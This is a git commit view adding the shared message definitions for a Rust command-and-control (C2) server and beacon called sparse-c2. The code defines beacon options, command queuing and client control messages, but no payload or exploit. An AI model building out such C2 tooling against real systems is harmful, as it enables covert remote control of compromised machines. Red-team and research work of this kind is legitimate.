took the tcp-test code and made a C2 server/beacon
This commit is contained in:
10
sparse-c2/sparse-c2-messages/Cargo.toml
Normal file
10
sparse-c2/sparse-c2-messages/Cargo.toml
Normal file
@@ -0,0 +1,10 @@
|
||||
[package]
|
||||
name = "sparse-c2-messages"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
chrono = { version = "0.4.31", features = ["serde"] }
|
||||
serde = { version = "1.0.193", features = ["derive"] }
|
||||
55
sparse-c2/sparse-c2-messages/src/lib.rs
Normal file
55
sparse-c2/sparse-c2-messages/src/lib.rs
Normal file
@@ -0,0 +1,55 @@
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
use chrono::prelude::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
pub const CONF_SEPARATOR: &'static [u8] = b"3ce6b7d3741941cbb88756c52ea8afdff45989fc440d47f295f77e068d3e19d4693c007b767b476cac7080c5cfb0bb63";
|
||||
pub const CLIENT_PORT: u16 = 2034;
|
||||
|
||||
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone)]
|
||||
pub struct BeaconId(pub String);
|
||||
|
||||
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone, Copy)]
|
||||
pub struct CommandId(pub u32);
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub struct BeaconOptions {
|
||||
pub target_ip: Ipv4Addr,
|
||||
pub target_port: u16,
|
||||
pub source_ip: Ipv4Addr,
|
||||
pub sleep_secs: u32,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize, Clone)]
|
||||
pub struct Command {
|
||||
pub beacon_id: Option<BeaconId>,
|
||||
pub command_id: CommandId,
|
||||
pub command: String,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize, Clone)]
|
||||
pub struct BeaconInfo {
|
||||
pub id: BeaconId,
|
||||
pub port: u16,
|
||||
pub last_connection: Option<DateTime<Utc>>,
|
||||
pub done_commands: Vec<(CommandId, DateTime<Utc>)>,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum BeaconCommand {
|
||||
Command(Command),
|
||||
Noop,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum ClientCommand {
|
||||
GetState,
|
||||
ListenFor(String, u16),
|
||||
Stop(String),
|
||||
SendCommand(Option<BeaconId>, String),
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum ClientResponse {
|
||||
StateUpdate(Vec<BeaconInfo>, Vec<Command>),
|
||||
}
|
||||
Reference in New Issue
Block a user